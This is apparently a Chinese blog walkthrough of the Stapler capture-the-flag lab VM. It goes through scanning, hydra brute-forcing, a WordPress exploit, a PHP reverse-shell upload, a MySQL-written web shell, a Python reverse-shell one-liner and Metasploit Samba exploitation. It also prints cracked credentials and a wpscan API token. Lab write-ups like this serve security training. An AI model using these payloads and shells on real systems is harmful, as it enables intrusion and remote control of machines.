stapler 靶机攻略

stapler

导入

使用vmware导入时,需要修改Stapler.ovf配置,将其中所有的Caption替换为ElementName,随即删除Stapler.mf

扫描

arp-scan -l

image-20231009152731158

nmap -sV -A -p- 10.4.7.132

image-20231009152816630

image-20231009152939472

image-20231009153005909

21/tcp    open   ftp         vsftpd 2.0.8 or later
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp    open   domain      dnsmasq 2.75
80/tcp    open   http        PHP cli server 5.5 or later
139/tcp   open   netbios-ssn Samba smbd 4.3.9 Ubuntu (workgroup: WORKGROUP)
666/tcp   open   doom?
3306/tcp  open   mysql       MySQL 5.7.12-0ubuntu1
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))

此处整理下开放端口相关的信息

21端口信息收集

image-20231009153429751

此处可以看到该用户可直接登录ftp

image-20231009153526317

image-20231009153545267

使用该账户登录ftp,发现note文件,使用get下载到本地查看

image-20231009153624874

enum探查

此处smb服务开启,使用

enum4linux -a 10.4.7.132

Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。可以快速扫出与SMB服务有关的目标中快速提取信息,kali中预装的有

image-20231009155938231

得到这些用户名,然后手动将其整理成字典

此处网上大神的裁剪方法

cat username1.txt | cut -d '\' -f2 | cut -d ' ' -f1 > username1.txt

image-20231009160004386

hydra爆破

hydra -L username1.txt -P username1.txt -e nsr 10.4.7.132 ftp

hydra -L username1.txt -P username1.txt -e nsr 10.4.7.132 ssh

-e nsr additional checks, “n” for null password, “s” try login as pass, “r” try the reverse login as pass

此处为-e参数的官方解释

image-20231009161808113

image-20231009162111004

此处爆破结果为

ftp
   SHayslett   SHayslett
   elly        ylle
ssh
   SHayslett   SHayslett

ftp登录后可以发现passwd文件,过滤用户后与enum探查的结果几乎一致,elly和SHayslett的文件内容也几乎一致(也可能我没看出来),没发现什么有用的信息

ssh登录过后即可提权,放在提权阶段展示

80及12380端口

image-20231009164143377

正常访问80端口无果

image-20231009164432678

12380端口有内容显示

此处使用dirb,nikto,dirsearch进行目录扫描,最终只有nikto包含部分有效信息

image-20231009170455062

此处需要使用https访问这两个目录

https://10.4.7.132:12380/admin112233/

https://10.4.7.132:12380/blogblog/

image-20231009170605941

image-20231009170622336

此网页处处提及wordpress,因此考虑使用wpscan扫描

wpscan --url https://10.4.7.132:12380/blogblog/ -e u --api-token d1fuMZc2tbhJWYk9VfNsl0GZlyYxkfH6bpL0pCKFhok --disable-tls-checks

image-20231009201846889

image-20231009201948852

如图会报出很多漏洞

https://10.4.7.132:12380/blogblog/wp-content/uploads/

image-20231009203511332

一顿探索到此,随后谷歌搜索,找到相应漏洞

image-20231009203654581

发现漏洞号为39646,随即去kali找该漏洞

searchsploit 39646 

import ssl

ssl._create_default_https_context = ssl._create_unverified_context


https://10.4.7.132:12380/blogblog/

python2 39646.py

如图vi修改该py文件,此处需要python2执行,别的python版本执行都报错

image-20231009204314791

执行成功过后出现一张图片

image-20231009211815609

wget https://10.4.7.132:12380/blogblog/wp-content/uploads/999285400.jpeg --no-check-certificate

将该图片下载,不检查凭证后缀一定要加,不然下载不到

cat查看一下它,发现数据库的用户密码

image-20231009212408654

mysql
  root
  plbkac
  
mysql -uroot -pplbkac -h 10.4.7.132

查看到用户表中有用户名及密码信息

image-20231009212714110

hash-identifier此处使用该工具辨别一下加密方式,此处发现为MD5加密

image-20231009213038051

将密码聚集于一个文本中,此处先把见过的用户名的密码放在其中尝试

需要使用kali自带的字典rockyou,如果没有解压,需要使用sudo gzip -d /usr/share/wordlists/rockyou.txt.gz解压

image-20231009214404397

此处尝试的是

john
incorrect

发现可以登陆进去,碰巧还是管理员

image-20231009214454466

游荡于此界面发现上传框

image-20231009214927999

此处上传php文件,内容为

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.4.7.130/12138 0>&1'"); ?>


kali开启监听
nc -lvvp 12138 

image-20231009220550407

sudo提权

此处要查看用户的历史记录,发现家目录中全是用户

cat /home/*/.bash_history | grep -v exit

此处过滤exit是因为直接查看时,exit超级无敌多,影响观感,所以过滤掉

发现两个用户及密码

image-20231009223228631

先在此处使用id命令看看用户信息

image-20231009223323090

发现peter在sudo附属组中,因此此处尝试用peter登录

peter
JZQuyIN5
ssh peter@10.4.7.132

whoami
sudo su root

image-20231009223935832

随机提权成功

同样的操作进行sudo提权在ssh中也可以实现,就是先前登入的那个SHayslett用户

补充方法(多为参考各方攻略学习而来)

mysql中写入php脚本

mysql -h 10.4.7.132 -uroot -p
plbkac
MySQL [(none)]> select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell1.php";

image-20231009225607059

点击进入该文件

然后url栏中执行

https://10.4.7.132:12380/blogblog/wp-content/uploads/shell1.php?cmd=whoami

发现有回显

image-20231009225704251

随后将命令改为反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.7.130",12138));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 
https://10.4.7.132:12380/blogblog/wp-content/uploads/shell1.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.4.7.130%22,12138));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

成功反弹

image-20231009230009319

随后提权方法就另外选择了

msf提权

主要针对139端口

msfconsole
search samba
use exploit/linux/samba/is_known_pipename
show options
set RHOSTS 10.4.7.132
set RPORT 139
run

image-20231010202248493

image-20231010202307599

成功反弹

随后提权方法就另外选择了

msf提权

主要针对139端口

msfconsole
search samba
use exploit/linux/samba/is_known_pipename
show options
set RHOSTS 10.4.7.132
set RPORT 139
run

在这里插入图片描述
在这里插入图片描述
ps:本人初学者,思路来源于各位大佬,并且本人能力有限,使用的方法较少,如果需要多种解决思路,可以看看别的大佬的内容。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值